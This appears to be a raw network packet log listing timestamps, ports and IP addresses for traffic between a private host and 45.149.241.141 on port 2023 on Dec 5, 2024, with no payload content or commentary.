Dec 5, 2024 10:46:35.650965929 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.650983095 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.654906988 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.654928923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.654952049 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.658951044 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.659008980 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.659015894 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.663180113 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.663225889 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.663284063 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.667589903 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.667606115 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.667638063 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.671889067 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.671926975 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.671962023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.676199913 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.676223993 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.676244020 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.698777914 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.698848963 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.772006989 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.772139072 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.772212982 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.773749113 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.773905039 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.773996115 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.777403116 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.777477026 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.777518034 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.781080961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.781265974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.781302929 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.785161972 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.785234928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.785321951 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.789036989 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.789066076 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.789175034 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.792496920 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.792628050 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.792706966 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.795397997 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.795479059 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.795567036 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.798228979 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.798307896 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.798347950 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.801471949 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.801599979 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.801645041 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.804658890 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.804766893 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.804816008 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.807766914 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.807854891 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.808094025 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.811054945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.811074972 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.811134100 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.814007044 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.814078093 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.814122915 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.817244053 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.817297935 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.817349911 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.820139885 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.820235014 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.820277929 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.823235035 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.823333979 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.823381901 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.826344013 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.826420069 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.826462984 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.828376055 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.828502893 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.828541040 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.830034018 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.830147982 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.830193996 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.831880093 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.831959963 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.832003117 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.834517002 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.834559917 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.834595919 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.836507082 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.836618900 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.836678982 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.838022947 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.838104010 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.838145971 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.839967966 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.840095043 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.840137959 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.841439009 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.841778994 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.841823101 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.843674898 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.843857050 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.843897104 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.845340014 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.845446110 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.845484018 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.847119093 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.847166061 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.847208977 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.849054098 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.849123001 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.849165916 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.850991011 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.851146936 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.851190090 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.853024006 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.853137016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.853179932 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.855118036 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.855195045 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.855249882 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.856417894 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.856501102 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.856543064 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.857748985 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.857851028 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.857887030 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.859323978 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.961484909 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.962610960 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.962740898 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.962784052 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.963560104 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.963663101 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.963701963 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.965338945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.966042995 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.966080904 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.966124058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.967884064 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.967896938 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.967925072 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.969661951 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.969706059 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.969788074 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.971539974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.971573114 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.971620083 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.973308086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.973351002 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.973386049 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.975043058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.975095987 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.975143909 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.976753950 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.976792097 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.976861000 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.978455067 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.978496075 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.978566885 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.980182886 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.980225086 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.980298996 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.981719971 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.981758118 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.981884956 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.983310938 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.983355999 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.983405113 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.984921932 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.984961987 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.985034943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.986495018 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.986536026 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.986663103 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.988132954 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.988182068 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.988219976 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.989767075 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.989814043 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.989864111 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.991348982 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.991364002 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.991394997 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.992865086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.992922068 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.992996931 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.994647026 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.994667053 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.994683027 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.996020079 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.996063948 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.996131897 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.997773886 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.997806072 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.997819901 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.999272108 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:35.999310970 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:35.999332905 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.000798941 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.000857115 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.000957012 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.002439022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.002480984 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.002516031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.004050016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.004095078 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.004136086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.005599022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.005642891 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.005763054 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.007198095 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.007236958 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.007283926 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.008779049 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.008816957 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.008866072 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.010406017 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.010432005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.010446072 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.011925936 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.011972904 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.012032032 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.013592005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.013638020 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.013672113 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.015146971 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.015192032 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.015244961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.016752958 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.016784906 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.016834974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.018294096 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.018322945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.018327951 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.019947052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.019990921 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.020112038 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.021527052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.021568060 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.021625996 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.023070097 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.023097038 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.023113012 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.024954081 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.025000095 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.025017023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.026644945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.026681900 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.026747942 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.028028011 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.028069019 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.028095007 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.029495001 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.029536009 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.029587984 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.031112909 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.031152010 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.031234980 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.032640934 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.032682896 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.032701015 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.034185886 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.034226894 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.034287930 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.035804033 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.035839081 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.035916090 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.037381887 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.037420988 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.037482023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.038961887 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.038999081 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.039062977 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.040628910 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.040668964 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.040703058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.042156935 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.042203903 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.042273998 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.043760061 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.043804884 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.043823004 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.045495987 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.045594931 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.045639038 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.156749964 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.156775951 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.156826019 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.157624960 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.157670975 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.157732964 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.159125090 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.159167051 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.159177065 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.160660982 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.160707951 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.160733938 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.162152052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.162193060 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.162277937 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.163451910 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.163496017 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.163536072 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.164551973 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.164609909 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.164637089 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.165533066 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.165568113 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.165644884 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.166568995 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.166603088 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.166640043 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.167665005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.167678118 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.167697906 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.168659925 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.168693066 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.168759108 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.169823885 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.169866085 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.169914007 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.170865059 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.170907974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.170909882 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.171971083 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.172024965 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.172059059 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.172882080 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.172919989 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:36.172970057 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.173913002 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:36.173954964 CET	2023	49738	45.149.241.141	192.168.2.4
